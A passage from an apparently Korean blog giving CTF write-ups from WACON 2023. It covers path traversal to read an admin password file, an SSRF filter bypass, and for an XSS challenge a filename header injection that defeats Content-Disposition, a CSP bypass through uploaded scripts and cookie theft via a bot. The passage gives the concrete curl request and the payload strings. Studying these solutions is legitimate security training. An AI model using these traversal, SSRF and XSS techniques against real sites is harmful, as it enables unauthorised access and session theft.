        return '''&amp;lt;h1&amp;gt;Welcome to my mosiac service!!&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&quot;/login&quot;&amp;gt;login&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/register&quot;&amp;gt;register&amp;lt;/a&amp;gt;'''
    else:
        if session.get('username') == &quot;admin&quot; and request.remote_addr == &quot;127.0.0.1&quot;:
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session[&quot;username&quot;]}/flag.png')
        return '''&amp;lt;h1&amp;gt;Welcome to my mosiac service!!&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&quot;/upload&quot;&amp;gt;upload&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/mosaic&quot;&amp;gt;mosaic&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/logout&quot;&amp;gt;logout&amp;lt;/a&amp;gt;'''&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 패스워드는 같은 web project 위치에 있는 `password.txt` 파일로 관리되고 있었습니다. 이 파일을 열람할 수 있다면, admin 계정으로 로그인할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693741349447&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;try:
    with open(&quot;password.txt&quot;, &quot;r&quot;) as pw_fp:
        ADMIN_PASSWORD = pw_fp.read()
        pw_fp.close()
except:
    ADMIN_PASSWORD = &quot;admin&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 중에서 사용자가 업로드한 이미지를 확인하는 기능이 있습니다. 해당 기능에는 사용자로부터 `username`, `file` 두개의 파라미터를 받고 있습니다. 이때, 두 파라미터에 대한 검증이 없어 임의의 파일을 읽을 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693741748309&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/check_upload/@&amp;lt;username&amp;gt;/&amp;lt;file&amp;gt;')
def check_upload(username, file):
    print(f'{UPLOAD_FOLDER}/{username}')
    print(file)

    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == &quot;admin&quot; and session[&quot;username&quot;] != &quot;admin&quot;:
        return &quot;Access Denied..&quot;
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, `password.txt` 파일을 읽기 위해 다음과 같이 전송합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693741913061&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl http://host/check_upload/@../password.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위처럼 요청을 전송하면 admin의 패스워드를 획득할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9OXGr/btssSnHEKOf/NT7z3Ra9nLdwi1XbIwMi9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9OXGr/btssSnHEKOf/NT7z3Ra9nLdwi1XbIwMi9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9OXGr/btssSnHEKOf/NT7z3Ra9nLdwi1XbIwMi9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9OXGr%2FbtssSnHEKOf%2FNT7z3Ra9nLdwi1XbIwMi9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;708&quot; height=&quot;131&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정을 획득했지만, flag를 획득하기 위해 SSRF 취약점을 이용해야 합니다. SSRF 가 가능한 공격 백터는 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693742026663&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and &quot;../&quot; not in image_url and not image_url.startswith(&quot;/&quot;):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split(&quot;/&quot;)[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session[&quot;username&quot;]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session[&quot;username&quot;]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith(&quot;http://&quot;) or image_url.startswith(&quot;https://&quot;):
                return &quot;Not yet..! sry..&quot;
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={&quot;Cookie&quot;:request.headers.get(&quot;Cookie&quot;)}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template(&quot;mosaic.html&quot;, mosaic_path = mosaic_path)
        else:
            return &quot;Plz input image_url or Invalid image_url..&quot;
    return render_template(&quot;mosaic.html&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드에서 requests 모듈을 이용해 SSRF 공격을 해야 합니다. 하지만 2개의 과정을 bypass 해야 하는데요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. `image_url` 파라미터에 확장자가 포함되어 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. `image_url` 파라미터에서 첫번째 값이 http:// 혹은 https:// 로 시작하면 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 풀기 위해서는 `http://localhost` 이렇게 요청을 보내야 합니다. 하지만 첫번째 조건에서 파일 확장자가 없기 때문에 에러가 발생합니다. 이를 우회하기 위해 `http://localhost/#test.png` 로 전달합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째 조건을 우회하기 위해서는 그냥 문자열 앞에 공백을 추가하면 끝입니다. ` http://localhost/#test.png`&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;295&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdOVCl/btssVHESA0h/QdMJbYrvGG3JehPJ72kW71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdOVCl/btssVHESA0h/QdMJbYrvGG3JehPJ72kW71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdOVCl/btssVHESA0h/QdMJbYrvGG3JehPJ72kW71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdOVCl%2FbtssVHESA0h%2FQdMJbYrvGG3JehPJ72kW71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;345&quot; height=&quot;96&quot; data-origin-width=&quot;295&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 이 문제를 풀기 위해서는 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. admin 패스워드 획득을 위해 `http://host/check_upload/@../password.txt` 로 요청 및 패스워드 획득&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. admin 계정으로 flag.png 라는 파일 이름으로 이미지 파일 업로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. SSRF 취약점으로 ` http://localhost/#test.png` 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. admin 계정으로 `/check_upload/@admin/flag.png` 요청 및 flag 획득&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0xBvH/btssYR8jYOL/lSd6KM9Ewi0JFdkOcIQ0u1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0xBvH/btssYR8jYOL/lSd6KM9Ewi0JFdkOcIQ0u1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0xBvH/btssYR8jYOL/lSd6KM9Ewi0JFdkOcIQ0u1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0xBvH%2FbtssYR8jYOL%2FlSd6KM9Ewi0JFdkOcIQ0u1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;521&quot; height=&quot;260&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. [web] warmup-revenge&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biVVg9/btssVLgeWe1/vzlKQ0GQVFkXKb79nUyhhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biVVg9/btssVLgeWe1/vzlKQ0GQVFkXKb79nUyhhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biVVg9/btssVLgeWe1/vzlKQ0GQVFkXKb79nUyhhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiVVg9%2FbtssVLgeWe1%2FvzlKQ0GQVFkXKb79nUyhhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;420&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 XSS를 통해 Cookie 안에 있는 flag를 획득하는 문제 입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 회원가입, 로그인, 글 작성 및 파일 업로드, 다운로드 기능을 사용할 수 있습니다. 하지만, 사용자가 입력한 값들은 html entity가 escape 되어 출력됩니다. 따라서 이러한 방법으로 XSS를 할 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 업로드한 파일은 랜덤한 파일 이름과 확장자 없이 저장됩니다. 따라서 사용자가 업로드한 파일 이름을 알 수 없어 업로드 파일에 다이렉트로 접근할 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 분석하면서 의심되는 부분은 사용자가 파일 업로드를 포함해서 작성한 게시글에 다음과 같은 javascript 코드가 존재하는 것을 볼 수 있었습니다. 요청 URL에 `auto_download` 파라미터 값이 존재하면 2초 뒤에 download link를 `window.open()` 함수를 이용하여 팝업으로 띄우는 기능이 존재합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693743301597&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const urlParams = new URLSearchParams(window.location.search);
var auto_download = urlParams.get('auto_download') ? 1 : 0
if(auto_download) {
	setTimeout(download, 2000);
}

function download() {
    window.open(document.getElementById(&quot;download&quot;).href);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`window.open()` 함수 docs를 보면, Same-Origin Policy를 적용하고 있습니다. 즉, `window.open()` 함수로 열린 URL이 동일한 origin일 경우, 해당 origin에서 XSS를 통해 Cookie를 탈취할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;604&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgExP3/btssOr4Wrjp/4OW3DlGH372t2FJ1BwIq00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgExP3/btssOr4Wrjp/4OW3DlGH372t2FJ1BwIq00/img.png&quot; data-alt=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/open&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgExP3/btssOr4Wrjp/4OW3DlGH372t2FJ1BwIq00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgExP3%2FbtssOr4Wrjp%2F4OW3DlGH372t2FJ1BwIq00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;812&quot; height=&quot;604&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;604&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://developer.mozilla.org/en-US/docs/Web/API/Window/open&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 사용자가 업로드한 파일을 다운로드할 경우 Response header에는 `Content-Disposition` Header 가 존재하여 브라우저가 파일을 강제로 다운로드 받는 것이 문제 입니다. 만약, `Content-Disposition` Header를 동작하지 못하게 할 수 있다면, 브라우저가 파일을 다운로드 받지 않고 rendering 해 줄 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;331&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZO3us/btssT6d82XX/lKTAJjhSmdYjg7mkxk0j91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZO3us/btssT6d82XX/lKTAJjhSmdYjg7mkxk0j91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZO3us/btssT6d82XX/lKTAJjhSmdYjg7mkxk0j91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZO3us%2FbtssT6d82XX%2FlKTAJjhSmdYjg7mkxk0j91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;331&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;331&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글링 하던 중, 아래와 같은 글을 읽게 되었습니다. 이 글에서는 `Content-Type` 에 newline을 넣어 Response Header에 `Content-Disposition: inline` 을 넣은 것을 볼 수 있었습니다.&lt;/p&gt;
&lt;figure id=&quot;og_1693743718095&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Defeating Content-Disposition&quot; data-og-description=&quot;The Content-Disposition response header tells the browser to download a file rather than displaying it in the browser window. Content-Disposition: attachment; filename=&amp;quot;filename.jpg&amp;quot; For example, even though this HTML outputs alert(document.domain) , becau&quot; data-og-host=&quot;markitzeroday.com&quot; data-og-source-url=&quot;https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html&quot; data-og-url=&quot;https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bD3Knr/hyTPu6GlIP/lzdt6OHWh2RsjLnCsRSNok/img.png?width=703&amp;amp;height=381&amp;amp;face=0_0_703_381,https://scrap.kakaocdn.net/dn/cjcmCL/hyTPx986yd/I6NKjV6BoKkqhajQHkNJL1/img.png?width=656&amp;amp;height=382&amp;amp;face=0_0_656_382&quot;&gt;&lt;a href=&quot;https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bD3Knr/hyTPu6GlIP/lzdt6OHWh2RsjLnCsRSNok/img.png?width=703&amp;amp;height=381&amp;amp;face=0_0_703_381,https://scrap.kakaocdn.net/dn/cjcmCL/hyTPx986yd/I6NKjV6BoKkqhajQHkNJL1/img.png?width=656&amp;amp;height=382&amp;amp;face=0_0_656_382');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Defeating Content-Disposition&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The Content-Disposition response header tells the browser to download a file rather than displaying it in the browser window. Content-Disposition: attachment; filename=&quot;filename.jpg&quot; For example, even though this HTML outputs alert(document.domain) , becau&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;markitzeroday.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 코드에서 사용자가 업로드한 파일 이름에 대해 newline에 대한 필터링이 없는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;232&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHP9gI/btssYUqpTCc/raqkKvKEUVnJTtCZaRO5KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHP9gI/btssYUqpTCc/raqkKvKEUVnJTtCZaRO5KK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHP9gI/btssYUqpTCc/raqkKvKEUVnJTtCZaRO5KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHP9gI%2FbtssYUqpTCc%2FraqkKvKEUVnJTtCZaRO5KK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;232&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;232&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 다음과 같이 filename에 `test.xml` 이후에 `\r` 를 넣고 `Content-Disposition: inline;` 를 추가하여 업로드 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`\r` 문자는 burpsuite에서 Hex 탭에 넣을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2cldH/btssTrQlm8d/noHq2zi7NDr1XPfe481Epk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2cldH/btssTrQlm8d/noHq2zi7NDr1XPfe481Epk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2cldH/btssTrQlm8d/noHq2zi7NDr1XPfe481Epk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2cldH%2FbtssTrQlm8d%2FnoHq2zi7NDr1XPfe481Epk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;124&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 글을 작성한 뒤, 다운로드 기능을 이용하면 파일이 다운로드 되지 않는 것을 볼 수 있습니다. 하지만, CSP 정책으로 인해 inline javascript 가 실행되지 않습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pk71v/btss3XUGzS7/EPzdkwDDmEqqrjALR4jX40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pk71v/btss3XUGzS7/EPzdkwDDmEqqrjALR4jX40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pk71v/btss3XUGzS7/EPzdkwDDmEqqrjALR4jX40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPk71v%2Fbtss3XUGzS7%2FEPzdkwDDmEqqrjALR4jX40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1077&quot; height=&quot;492&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP를 보면 `script-src 'self';` 로 되어 있습니다. 이를 이용하여 CSP를 우회할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693744313665&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제에는 파일 업로드 기능이 있기 때문에 `alert(document.domain)` 문자열만 업로드 합니다. 이때 파일 다운로드 번호를 1번이라고 합시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후, 위 파일을 불러오는 html 코드를 작성하고 저장합니다. 이 첨부파일의 번호를 2번이라고 했을 때, `/download.php?idx=1` 로 요청을 보내면 XSS가 동작하는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693744447407&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;/download.php?idx=1&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 이 문제를 풀기 위해서는 Cookie를 탈취하기 위한 javascript 코드를 업로드 해야하고, 이를 load하는 html 파일을 업로드 한 뒤, bot에게 `auto_download` 파라미터를 포함한 링크를 전달하면 flag를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WACON2023{b1b1e2b97fcfd419db87b61459d2e267}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. [misc] Web?&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgsDCY/btssZfVEFCC/cuVRyEKPOkv2AdEKkPYDV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgsDCY/btssZfVEFCC/cuVRyEKPOkv2AdEKkPYDV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgsDCY/btssZfVEFCC/cuVRyEKPOkv2AdEKkPYDV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgsDCY%2FbtssZfVEFCC%2FcuVRyEKPOkv2AdEKkPYDV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;371&quot; data-origin-width=&quot;496&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
